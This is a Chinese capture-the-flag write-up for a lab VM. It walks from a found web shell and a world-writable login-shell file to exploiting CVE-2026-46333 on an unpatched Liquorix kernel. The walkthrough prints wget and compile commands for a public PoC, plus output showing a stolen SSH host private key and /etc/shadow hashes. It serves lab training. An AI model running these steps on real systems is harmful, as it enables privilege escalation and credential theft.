信息收集扫描┌──(root㉿kali)-[/home/kali1] └─# nmap -A 10.31.39.181 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-06 10:21 CST Nmap scan report for 10.31.39.181 Host is up (0.00014s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7deb13u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 ((Debian)) |_http-server-header: Apache/2.4.66 (Debian) |_http-title: Bye HGBE MAC Address: 08:00:27:BA:F5:D7 (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V7.94SVN%E4%D7/6%OT22%CT1%CU43505%PVY%DS1%DCD%GY%M080027 OS:%TM6A4B1159%Px86_64-pc-linux-gnu)SEQ(SP106%GCD1%ISR10B%TIZ%CIZ%TS OS:22)SEQ(SP106%GCD1%ISR10B%TIZ%CIZ%III%TS22)OPS(O1M5B4ST11NW8%O2 OS:M5B4ST11NW8%O3M5B4NNT11NW8%O4M5B4ST11NW8%O5M5B4ST11NW8%O6M5B4ST11)WI OS:N(W1FE88%W2FE88%W3FE88%W4FE88%W5FE88%W6FE88)ECN(RY%DFY%T40%WFA OS:F0%OM5B4NNSNW8%CCY%Q)T1(RY%DFY%T40%SO%AS%FAS%RD0%Q)T2(RN)T3 OS:(RN)T4(RY%DFY%T40%W0%SA%AZ%FR%O%RD0%Q)T5(RY%DFY%T40%W0%S OS:Z%AS%FAR%O%RD0%Q)T6(RY%DFY%T40%W0%SA%AZ%FR%O%RD0%Q)T7(R OS:Y%DFY%T40%W0%SZ%AS%FAR%O%RD0%Q)U1(RY%DFN%T40%IPL164%UN0%R OS:IPLG%RIDG%RIPCKG%RUCKG%RUDG)IE(RY%DFIN%T40%CDS) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms 10.31.39.181扫描后发现一个网站然后用dirsearch进行扫描目录结构┌──(root㉿kali)-[/home/kali1/hgbe] └─# dirsearch -u http://10.31.39.181/ -r /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/kali1/hgbe/reports/http_10.31.39.181/__26-07-06_11-03-24.txt Target: http://10.31.39.181/ [11:03:24] Starting: [11:03:25] 403 - 317B - /.ht_wsr.txt [11:03:25] 403 - 317B - /.htaccess.bak1 [11:03:25] 403 - 317B - /.htaccess.orig [11:03:25] 403 - 317B - /.htaccess.sample [11:03:25] 403 - 317B - /.htaccess.save [11:03:25] 403 - 317B - /.htaccess_extra [11:03:25] 403 - 317B - /.htaccess_orig [11:03:25] 403 - 317B - /.htaccess_sc [11:03:25] 403 - 317B - /.htaccessBAK [11:03:25] 403 - 317B - /.htaccessOLD [11:03:25] 403 - 317B - /.htaccessOLD2 [11:03:25] 403 - 317B - /.htm [11:03:25] 403 - 317B - /.html [11:03:25] 403 - 317B - /.htpasswd_test [11:03:25] 403 - 317B - /.htpasswds [11:03:25] 403 - 317B - /.httr-oauth [11:03:25] 403 - 317B - /.php [11:03:37] 403 - 317B - /server-status [11:03:37] 403 - 317B - /server-status/ Added to the queue: server-status/ [11:03:37] 200 - 4KB - /shell.php默认页面是一个头像源码中会提到这个图片很重要。还可以看到的是有一个shell.php这个页面上去是一个www-data用户的shell交互页面。需要通过这个shell来进行渗透这里我选择将www-data用户的shell反弹到我主机上进行操作。www-dataMaze:…/www/html# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin HGBE:x:1000:1000:,,,:/home/HGBE:/opt/a ll104567:x:1001:1001:,,,:/home/ll104567:/bin/bash mono:x:1002:1002:,,,:/home/mono:/bin/bash lzh:x:1003:1003:,,,:/home/lzh:/bin/bash能够观察到有几个通过创建的出来的用户其中有一个名字和这个靶机同名所以我们可以多留意一下这个用户的信息HGBE。其中一个信息点就是这个用户的shell不是一个正常的shell他的shell被设置在了/opt/a这个文件上我们可以过去看一眼。www-dataMaze:…/www/html# ls -al /opt total 16 drwxr-xr-x 2 root root 4096 May 15 22:39 . drwxr-xr-x 18 root root 4096 May 15 18:24 .. -rwxrwxrwx 1 root root 27 Jul 9 07:17 a -rwxrwxrwx 1 root root 10 May 15 22:39 b www-dataMaze:…/www/html# ls -al /opt/a -rwxrwxrwx 1 root root 27 Jul 9 07:17 /opt/a www-dataMaze:…/www/html# cat /opt/a #!/bin/bash exec /usr/bin/tty-clock -sc其中可以发现我们对于这个a的文件是有修改权限的所以我们可以将HGBE的shell修改为正常的shell。至于这里的tty-clock命令则是一个用于全屏显示时间的工具。可以将文件内容改为exec /bin/bash就行了拿到HGBE用户权限之后其实这个靶机重点不在于web服务他预期解释通过观察内核更新日志然后判断内核漏洞是否在有效现有漏洞暴露出来之间。emm大概可以认为这是一次0day漏洞攻击。#第一步肯定是通过uname来确认 HGBEMaze:/var/log$ uname -r 7.0.7-1-liquorix-amd64 #之后就是看他的软件更新日志dpkg.log HGBEMaze:/var/log$ grep -rniE linux-image- /var/log/dpkg* /var/log/dpkg.log.1:1198:2026-04-25 06:18:12 install linux-image-6.12.73deb13-amd64:amd64 none 6.12.73-1 /var/log/dpkg.log.1:1199:2026-04-25 06:18:12 status half-installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1200:2026-04-25 06:18:18 status unpacked linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1204:2026-04-25 06:18:19 install linux-image-amd64:amd64 none 6.12.73-1 /var/log/dpkg.log.1:1205:2026-04-25 06:18:19 status half-installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1206:2026-04-25 06:18:19 status unpacked linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1212:2026-04-25 06:18:23 configure linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:1213:2026-04-25 06:18:23 status unpacked linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1214:2026-04-25 06:18:23 status half-configured linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1215:2026-04-25 06:18:34 status installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1216:2026-04-25 06:18:34 configure linux-image-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:1217:2026-04-25 06:18:34 status unpacked linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1218:2026-04-25 06:18:34 status half-configured linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1219:2026-04-25 06:18:34 status installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2422:2026-04-29 21:47:00 install linux-image-6.19.14-1-liquorix-amd64:amd64 none 6.19-11.1~trixie /var/log/dpkg.log.1:2423:2026-04-29 21:47:00 status half-installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2424:2026-04-29 21:47:12 status unpacked linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2437:2026-04-29 21:47:16 install linux-image-liquorix-amd64:amd64 none 6.19-11.1~trixie /var/log/dpkg.log.1:2438:2026-04-29 21:47:16 status half-installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2439:2026-04-29 21:47:16 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2445:2026-04-29 21:47:17 configure linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2446:2026-04-29 21:47:17 status unpacked linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2447:2026-04-29 21:47:17 status half-configured linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2448:2026-04-29 21:47:31 status installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2594:2026-04-29 21:47:42 configure linux-image-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2595:2026-04-29 21:47:42 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2596:2026-04-29 21:47:42 status half-configured linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2597:2026-04-29 21:47:42 status installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2716:2026-05-11 00:11:19 install linux-image-7.0.5-1-liquorix-amd64:amd64 none 7.0-4.1~trixie /var/log/dpkg.log.1:2717:2026-05-11 00:11:19 status half-installed linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2718:2026-05-11 00:12:38 status unpacked linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2724:2026-05-11 00:12:39 upgrade linux-image-liquorix-amd64:amd64 6.19-11.1~trixie 7.0-4.1~trixie /var/log/dpkg.log.1:2725:2026-05-11 00:12:39 status half-configured linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2726:2026-05-11 00:12:39 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2727:2026-05-11 00:12:40 status half-installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2728:2026-05-11 00:12:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2738:2026-05-11 00:12:40 configure linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie none /var/log/dpkg.log.1:2739:2026-05-11 00:12:40 status unpacked linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2740:2026-05-11 00:12:40 status half-configured linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2741:2026-05-11 00:15:03 status installed linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2742:2026-05-11 00:15:03 configure linux-image-liquorix-amd64:amd64 7.0-4.1~trixie none /var/log/dpkg.log.1:2743:2026-05-11 00:15:03 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2744:2026-05-11 00:15:03 status half-configured linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2745:2026-05-11 00:15:03 status installed linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2753:2026-05-11 00:19:13 status installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2754:2026-05-11 00:19:13 remove linux-image-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2755:2026-05-11 00:19:13 status half-configured linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2756:2026-05-11 00:19:14 status half-installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2757:2026-05-11 00:19:14 status config-files linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2758:2026-05-11 00:19:14 status installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2759:2026-05-11 00:19:14 remove linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2760:2026-05-11 00:19:14 status half-configured linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2761:2026-05-11 00:19:16 status half-installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2762:2026-05-11 00:19:30 status config-files linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2763:2026-05-11 00:19:30 status installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2764:2026-05-11 00:19:30 remove linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2765:2026-05-11 00:19:30 status half-configured linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2766:2026-05-11 00:19:32 status half-installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2767:2026-05-11 00:19:45 status config-files linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2770:2026-05-11 00:19:46 purge linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2771:2026-05-11 00:19:46 status config-files linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2772:2026-05-11 00:19:48 status not-installed linux-image-6.19.14-1-liquorix-amd64:amd64 none /var/log/dpkg.log.1:2773:2026-05-11 00:19:48 purge linux-image-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2774:2026-05-11 00:19:48 status config-files linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2775:2026-05-11 00:19:48 status not-installed linux-image-amd64:amd64 none /var/log/dpkg.log.1:2776:2026-05-11 00:19:48 purge linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2777:2026-05-11 00:19:48 status config-files linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2778:2026-05-11 00:19:49 status not-installed linux-image-6.12.73deb13-amd64:amd64 none /var/log/dpkg.log.1:2784:2026-05-15 18:24:33 install linux-image-7.0.7-1-liquorix-amd64:amd64 none 7.0-7.1~trixie /var/log/dpkg.log.1:2785:2026-05-15 18:24:33 status half-installed linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2786:2026-05-15 18:24:40 status unpacked linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2792:2026-05-15 18:24:40 upgrade linux-image-liquorix-amd64:amd64 7.0-4.1~trixie 7.0-7.1~trixie /var/log/dpkg.log.1:2793:2026-05-15 18:24:40 status half-configured linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2794:2026-05-15 18:24:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2795:2026-05-15 18:24:40 status half-installed linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2796:2026-05-15 18:24:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2806:2026-05-15 18:24:40 configure linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie none /var/log/dpkg.log.1:2807:2026-05-15 18:24:40 status unpacked linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2808:2026-05-15 18:24:40 status half-configured linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2809:2026-05-15 18:24:49 status installed linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2810:2026-05-15 18:24:49 configure linux-image-liquorix-amd64:amd64 7.0-7.1~trixie none /var/log/dpkg.log.1:2811:2026-05-15 18:24:49 status unpacked linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2812:2026-05-15 18:24:49 status half-configured linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2813:2026-05-15 18:24:49 status installed linux-image-liquorix-amd64:amd64 7.0-7.1~trixie大概的记录就是4-25号安装好deb13的6.12.73内核之后紧接着4月29号引入了6.19.14-liqurix内核这个内核时第三方的内容优化了吞吐量功能。之后的5-11号他有更换了7.0.4的liquorix内核然后删除了原厂的内容。所以这台主机现在就只有一个第三方的魔改内核在维持标准的配置文件、内核模块全部被删除。然后我们还可以通过查看现有内核的相关变化日志/usr/share/doc/linux-image-$(uname -r)/changelog.*HGBEMaze:/var/log$ zcat /usr/share/doc/linux-image-$(uname -r)/changelog.* | sed -n 1,120p linux-liquorix (7.0-7.1~trixie) trixie; urgencymedium * merge v7.0.7 * apply another wake affine optimization for Project-C - sched/alt: Skip wake_affine_idle() sync stack when prev_cpu this_cpu * update version to 7.0.7-1 -- Steven Barrett stevenliquorix.net Thu, 14 May 2026 10:22:20 -0500 linux-liquorix (7.0-6) unstable; urgencymedium * merge v7.0.6 * update version to 7.0.6-1 -- Steven Barrett stevenliquorix.net Mon, 11 May 2026 12:43:59 -0500 linux-liquorix (7.0-5) unstable; urgencymedium * apply more TTWU optimizations for Project-C - sched/alt: Keep wakee on idle, cache-affine prev_cpu * update version to 7.0.5-2 -- Steven Barrett stevenliquorix.net Fri, 08 May 2026 14:09:46 -0500 linux-liquorix (7.0-4) unstable; urgencymedium * merge v7.0.5 * apply TTWU optimizations for Project-C - sched/alt: Cache LLC size as per-CPU sd_llc_size - sched/alt: Add wake_wide() to gate WF_SYNC affine wakeups - sched/alt: Align wake_wide() placement with mainline * update version to 7.0.5-1 -- Steven Barrett stevenliquorix.net Fri, 08 May 2026 10:32:27 -0500 linux-liquorix (7.0-3) unstable; urgencymedium * add stability fix for Project-C - sched/alt: Fix rseq switch event target * update version to 7.0.4-2 -- Steven Barrett stevenliquorix.net Thu, 07 May 2026 18:00:03 -0500 linux-liquorix (7.0-2) unstable; urgencymedium * merge v7.0.4 * sync lockup and hung task detection config from Zen Kernel * update version to 7.0.4-1 -- Steven Barrett stevenliquorix.net Thu, 07 May 2026 16:15:29 -0500 linux-liquorix (7.0-1) unstable; urgencymedium * switch to v7.0 * merge v7.0.3 * update version to 7.0.3-1 -- Steven Barrett stevenliquorix.net Thu, 07 May 2026 07:16:06 -0500 linux-liquorix (6.19-12) unstable; urgencymedium * backport changes in 7.0.3 - xen/privcmd: fix double free via VMA splitting - Buffer overflow in drivers/xen/sys-hypervisor.c * add patch resolve CVE-2026-31431 - crypto: algif_aead - Revert to operating out-of-place * update version to 6.19.14-2 -- Steven Barrett stevenliquorix.net Thu, 30 Apr 2026 12:49:23 -0500 linux-liquorix (6.19-11) unstable; urgencymedium * merge v6.19.14 * update version to 6.19.14-1 -- Steven Barrett stevenliquorix.net Wed, 22 Apr 2026 13:48:51 -0500 linux-liquorix (6.19-10) unstable; urgencymedium * merge v6.19.13 * sync upstream scheduler changes to Project-C - sched/alt: Mark update_rq_clock() __always_inline to match mainline - sched/alt: Mark wakeup_preempt() __always_inline to match mainline - sched/alt: Mark update_curr() __always_inline to match mainline - sched/alt: Mark sched_rq_next_task() __always_inline to match mainline * update version to 6.19.13-1 -- Steven Barrett stevenliquorix.net Mon, 20 Apr 2026 11:27:26 -0500 linux-liquorix (6.19-9) unstable; urgencymedium * merge v6.19.12 * add dmemcg v6 patch set for low VRAM systems * update version to 6.19.12-1 -- Steven Barrett stevenliquorix.net Wed, 15 Apr 2026 17:02:07 -0500 linux-liquorix (6.19-8) unstable; urgencymedium * add optimization for stress-ng context switching - sched/alt: Add wake_affine_idle() for WF_SYNC wakeups * update version to 6.19.11-2 -- Steven Barrett stevenliquorix.net Sat, 04 Apr 2026 12:02:51 -0500 linux-liquorix (6.19-7) unstable; urgencymedium * merge v6.19.11 * update version to 6.19.11-1 -- Steven Barrett stevenliquorix.net Fri, 03 Apr 2026 10:53:49 -0500 linux-liquorix (6.19-6) unstable; urgencymedium * sync upstream scheduler changes to Project-C - entry: Split generic entry into generic exception and syscall entry - sched: Match __task_rq_{,un}lock() - sched/mmcid: Optimize transitional CIDs when scheduling out * update version to 6.19.10-2拿最有特征的倒数第七段来说这里说明了软件包名是linux-liquorix这次的更新包版本是6.19-12属于Debain的trixieDebain13或者unstable分支。中间的条目带有*或-就是核心内容说明具体的改动。额看的话其实不是很好能看得懂尤其还是英语不是特别好的所以这里直接给ai分析解释一下i会告诉你Project-C是Liquorix内核引入的一种嵌代进程调度器他改变了Linux核心如何分配CPU资源给不同的进程。当然其实这里看到copy fail漏洞补丁也不一定这个漏洞对于这个版本内容就不起作用可能又会有这个内核版本的重构代码可以去安全社区中寻找那么接着我们其实信息收集的差不多了现在了解到的信息就是这个靶机最开始是一个debian的稳定发行版本stable。但是管理员最后将他的内核换成了更加激进的版本7.0.7-liquorix一个追求极致性能的内核并且将旧的内核都删除了这就导致他成了一个基于debian13版本内核为7.0.7的靶机。但是要知道的是这个内核是第三方魔改的所以在debian中或许修复了的漏洞对他也还是有所影响。emm然后作者wp是写了先查看debian的tracker网站去看信息啊不过我复盘完之后感觉怪怪的主要是我直接去debian tracker的话找了很久然后最后找到这个CVE在已经解决的open issues部分那一栏很下面了。也可能是我打这个靶机的时间比较晚。其实我的顺序是先去linux内核网站看他的变更日志changelog#https://cdn.kernel.org/pub/linux/kernel/v7.x/ChangeLog-7.0.8 commit ec984f1eb8a34b75657f440ebff0dee27c9b850d Author: Greg Kroah-Hartman gregkhlinuxfoundation.org Date: Fri May 15 14:53:54 2026 0200 Linux 7.0.8 Signed-off-by: Greg Kroah-Hartman gregkhlinuxfoundation.org commit 01363cb3fbd0238ffdeb09f53e9039c9edf8a730 Author: Linus Torvalds torvaldslinux-foundation.org Date: Wed May 13 11:37:18 2026 -0700 ptrace: slightly saner get_dumpable() logic commit 31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a upstream. The dumpability of a task is fundamentally about the memory image of the task - the concept comes from whether it can core dump or not - and makes no sense when you dont have an associated mm. And almost all users do in fact use it only for the case where the task has a mm pointer. But we have one odd special case: ptrace_may_access() uses dumpable to check various other things entirely independently of the MM (typically explicitly using flags like PTRACE_MODE_READ_FSCREDS). Including for threads that no longer have a VM (and maybe never did, like most kernel threads). Its not what this flag was designed for, but it is what it is. The ptrace code does check that the uid/gid matches, so you do have to be uid-0 to see kernel thread details, but this means that the traditional drop capabilities model doesnt make any difference for this all. Make it all make a *bit* more sense by saying that if you dont have a MM pointer, well use a cached last dumpability flag if the thread ever had a MM (it will be zero for kernel threads since it is never set), and require a proper CAP_SYS_PTRACE capability to override. Reported-by: Qualys Security Advisory qsaqualys.com Cc: Oleg Nesterov olegredhat.com Cc: Kees Cook keeskernel.org Signed-off-by: Linus Torvalds torvaldslinux-foundation.org Signed-off-by: Greg Kroah-Hartman gregkhlinuxfoundation.org这里其实说的是修复了关于ptrace的一个问题这个内核版本是7.0.8在7.0.8CVE-2026-46333才被修复7.0.8是修复点 7.0.8可能在受影响的范围内。其实这里能获得一个信息就是现在这个靶机的内核7.0.7-liquorix版本是受这个CVE漏洞影响的这里说个题外话我在看wp的时候其实有点懵因为我自己不会看内核版本这些东西。但是我整体理解来说的话就是本来debian13这个版本的内核对于cve-2026-46633是修复了但是管理员换成了第三方的7.0.7版本内核但是这个内核并没有打上补丁补丁在7.0.8刚修复好才发出来。emm我后面理了一下顺序这里的话应该是先看trixie7.0.7版本是否已经与forky版本的7.0.8修复了漏洞了。因为在debian社区里面的修复漏洞顺序为先是sid—forky/testing—trixie。题外话的题外话这些标签其实是《玩具总动员》中每个角色其中sid玩具总动员中的那个熊孩子代表的是长期不稳定的。forky则是后面出现的叉子玩具因为是后面才出现所以代表的是未来最后则是trixie则是代表稳定版本在往前就是old了又书虫bookworm更老的是bullseye红心吴迪的坐骑。然后其实debian的官网有一个很集中的cve漏洞查询页面就是那个trackerhttps://security-tracker.debian.org/tracker/source-package/linux所以作者在这里去liquorix.net/atom也是为了查看确认这个漏洞是否已经被更新修复了。CVE exploits这个漏洞的原理其实也挺有趣的先下载漏洞到靶机上或者说可以下载到你的渗透机上再传输。之后编译完之后利用就可以这里直接就获得了私钥wget https://github.com/0xBlackash/CVE-2026-46333/archive/refs/heads/main.zip HGBEMaze:~/CVE-2026-46333-main$ gcc CVE-2026-46333.c HGBEMaze:~/CVE-2026-46333-main$ ls a.out CVE-2026-46333.c CVE-2026-46333-shadow.c README.md HGBEMaze:~/CVE-2026-46333-main$ ./a.out [] CVE-2026-46333 PoC by 0xBlackash [] Target: Steal SSH host private keys via ssh-keysign [] Found ssh-keysign at: /usr/lib/openssh/ssh-keysign [] Starting race attack... [] SUCCESS! Stolen fd 3 - /etc/ssh/ssh_host_ecdsa_key (round 13) SSH PRIVATE KEY -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQqIPmNvLA9W5TosXrVH0t6Az9h0Nrp LSHo86JXcgRnA/oB7XKrrCBYEkpgO8AYfVypsjmjwFrs8PeVAjpHOd5FAAAAqLNAENmzQB DZAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCogY28sD1blOix etUfS3oDP2HQ2uktIejzoldyBGcDgHtcqusIFgSSmA7wBh9XKmyOaPAWuzw95UCOkc53k UAAAAgWzg1pDrbt4NhKoUvFx1XtX11pmeuSIHRqoy9mLlgDOkAAAAKcm9vdEBNdWJhbgEC AwQFBg -----END OPENSSH PRIVATE KEY----- [] Exploit completed successfully.这个私钥是漏洞通过利用ssh-keysign读取的。ssh-keysign其实可以比喻成一个在公共场所的电话亭所有人都可以用但是他是免费的也就是suid权限有这里就可以看到ssh-keysign所以这个工具在运行的时候他是会以root身份运行。这就是root残留举一个例子就比如我是攻击的黑客运行了ssh-keysign之后开启了进程。但是这个进程在舞台上因为特殊身份变成了root今晨接着又因为我给他吃了一些畸形的数据开始在舞台上结束自己。这个时候我在调用pidfd_getfd()函数去复制文件描述符但是pidfd_getfd()在执行的时候会经过__ptrace_may_access()的权限检查。但是因为进程正在退出内存描述符指针mm已经被内核清空为 NULL__ptrace_may_access()按照规则检查发现啥都没有所以我们就能趁着这个时间将ssh-keysign启动时就已经打开的主机私钥文件从root用户手里复制过来这样我就能伪造ssh签名冒充合法用户。具体来说pidfd_getfd() 是 Linux 提供的一个系统调用作用是从另一个进程中复制一个已经打开的文件描述符到你自己的进程里。这个调用在内部会触发 __ptrace_may_access() 来做权限检查保安查岗。正常情况下普通用户不能从 root 进程中偷东西保安会拦住你。但因为这个进程刚好处于 mmNULL 的中间状态保安跳过了检查你就成功把 root 已经打开的SSH 主机私钥文件的描述符偷到了自己手里。HGBEMaze:~/CVE-2026-46333-main$ gcc CVE-2026-46333-shadow.c HGBEMaze:~/CVE-2026-46333-main$ ls a.out CVE-2026-46333.c CVE-2026-46333-shadow.c README.md HGBEMaze:~/CVE-2026-46333-main$ ./a.out [] CVE-2026-46333 Shadow Stealer by 0xBlackash [] Target: /etc/shadow via chage [] Found chage at: /usr/bin/chage [] Starting race... [] SUCCESS! Stolen /etc/shadow (round 2) /etc/shadow root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: daemon:*:20568:0:99999:7::: bin:*:20568:0:99999:7::: sys:*:20568:0:99999:7::: sync:*:20568:0:99999:7::: games:*:20568:0:99999:7::: man:*:20568:0:99999:7::: lp:*:20568:0:99999:7::: mail:*:20568:0:99999:7::: news:*:20568:0:99999:7::: uucp:*:20568:0:99999:7::: proxy:*:20568:0:99999:7::: www-data:*:20568:0:99999:7::: backup:*:20568:0:99999:7::: list:*:20568:0:99999:7::: irc:*:20568:0:99999:7::: _apt:*:20568:0:99999:7::: nobody:*:20568:0:99999:7::: systemd-network:!*:20568:::::1: dhcpcd:!:20568:::::: systemd-timesync:!*:20568:::::1: messagebus:!*:20568:::::: sshd:!*:20568:::::: HGBE:$y$j9T$6s8e/tmZzXrU4OrSoRLon0$KZP4gL2mULtpnfaPi5lkgxENm7XsJyxZsFfNiOK8XG0:20589:0:99999:7::: 